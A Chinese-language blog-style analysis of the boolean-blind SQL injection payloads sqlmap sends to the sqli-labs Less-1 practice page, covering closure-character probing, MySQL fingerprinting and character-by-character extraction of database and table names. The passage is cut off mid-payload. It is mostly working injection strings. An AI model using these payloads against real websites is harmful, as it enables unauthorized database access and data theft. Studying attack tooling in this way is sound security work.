上次分析了时间盲注的探测语句,今天来溯源下sqlmap针对另外一种布尔盲注的fuzz过程。主要对检查是否存在SQL注入,以及利用布尔盲注爆出数据的过程。
检测注入过程
以sqli第一关为例
http://127.0.0.1/sqli/Less-1/?id=1
寻找闭合字符
这一部分与时间盲注相同,同样是在)
,))
,)))
,空格
,'
,')
这些截断符中找到可以造成注入的字符。
ID:7528
ID:1).))()".'(
ID:1'bIXGjX<'">nSsszZ
ID:1) AND 9915=4088 AND (3129=3129
ID:1) AND 4251=4251 AND (4098=4098
ID:1 AND 5874=1359
ID:1 AND 4251=4251
ID:1 AND 3152=9361-- jusx
ID:1 AND 4251=4251-- RrNl
ID:1') AND 9703=9133 AND ('CktO'='CktO
ID:1') AND 4251=4251 AND ('GmDa'='GmDa
ID:1' AND 9468=3498 AND 'rxtA'='rxtA
ID:1' AND 4251=4251 AND 'uZMf'='uZMf
ID:1' AND 1230=7434 AND 'tjUD'='tjUD
ID:1' AND 59=59 AND 'aUkn'='aUkn
ID:1' AND 59=97 AND 'yZGA'='yZGA
ID:1' AND 97=62 AND 'twCg'='twCg
ID:1' AND 62=62 AND 'PXvp'='PXvp
ID:1' AND 97 62 AND 'aaSs'='aaSs
检查长度限制
1' AND 6858= 6858 AND 'iJKY'='iJKY
测试盲注符号过滤情况
以及是否有符号的过滤,可以看出主要是测试盲注中比较重要的比较字符>
与函数要用到的(
。
1' AND (2015)=2015 AND 'EXYe'='EXYe
1' AND 2016>2015 AND 'nTIQ'='nTIQ
确定数据库类型
1' AND QUARTER(NULL) IS NULL AND 'CBDv'='CBDv
1' AND SESSION_USER() LIKE USER() AND 'cEDf'='cEDf
1' AND ISNULL(JSON_STORAGE_FREE(NULL)) AND 'RdHT'='RdHT
1' AND ISNULL(TIMESTAMPADD(MINUTE,2188,NULL)) AND 'iXvm'='iXvm
这里是采用mysql特定的语句来确认后端dbms的类型
数据库版本检测
1' AND VERSION() LIKE 0x254d61726961444225 AND 'tyDX'='tyDX
1' AND VERSION() LIKE 0x255469444225 AND 'ivIM'='ivIM
1' AND @@VERSION_COMMENT LIKE 0x256472697a7a6c6525 AND 'oHTM'='oHTM
1' AND @@VERSION_COMMENT LIKE 0x25506572636f6e6125 AND 'iVeZ'='iVeZ
1' AND AURORA_VERSION() LIKE 0x25 AND 'imvt'='imvt
web application technology: Apache 2.4.39, PHP 5.6.9
back-end DBMS: MySQL >= 5.0.0
对十六进制进行解码
%MariaDB%
%TiDB%
%drizzle%
%Percona%
其中用到的语句
version()
,@@VERSION_COMMENT
获得数据过程
获得数据库名
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>64 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>96 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>112 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>120 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>116 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>114 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>115 AND 'cHgz'='cHgz
获得字符s ascii 115
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>96 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>112 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>104 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>100 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>102 AND 'cHgz'='cHgz
1' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>101 AND 'cHgz'='cHgz
获得字符e ascii码101
....
最后得到的[INFO] retrieved: security
,这里截取了获得数据库前两位的过程,可以很明显的看出利用ascii码和二分来比较获得结果。
其中用到的几个函数
ord函数
mysql> select ord("s");
+----------+
| ord("s") |
+----------+
| 115 |
+----------+
mid函数
mysql> select mid("security",1,1);
+---------------------+
| mid("security",1,1) |
+---------------------+
| s |
+---------------------+
CAST函数
CAST(expression AS TYPE);用于将表达式转换为指定类型
这里nchar指的是定长的unicode字符
mysql> select cast(database() as nchar);
+---------------------------+
| cast(database() as nchar) |
+---------------------------+
| security |
+---------------------------+
IFNULL函数
IFNULL(expression_1,expression_2);如果表达式1不为NULL则返回表达式1,表达式为NULL则返回表达式2
mysql> select IFNULL(1+1,2+2);
+-----------------+
| IFNULL(1+1,2+2) |
+-----------------+
| 2 |
+-----------------+
mysql> select IFNULL(NULL,2+2);
+------------------+
| IFNULL(NULL,2+2) |
+------------------+
| 4 |
+------------------+
可以看出sqlmap考虑了数据库为NULL的情况,并用CAST
类型转换和ISNULL
做了处理。当NULL时返回了0x20
刚好是ascii中不可打印字符的分界点。
这样可以处理最后一个字符之后为NULL的情况,也就相当于少了一步获得数据库长度的测试。
获得表名
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>64 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>96 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>112 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>120 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>116 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>114 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),1,1))>113 AND 'PmpB'='PmpB
获得字母r ascii码114
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),2,1))>96 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),2,1))>112 AND 'PmpB'='PmpB
1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1),2,1))>104 AND 'PmpB'='PmpB
1'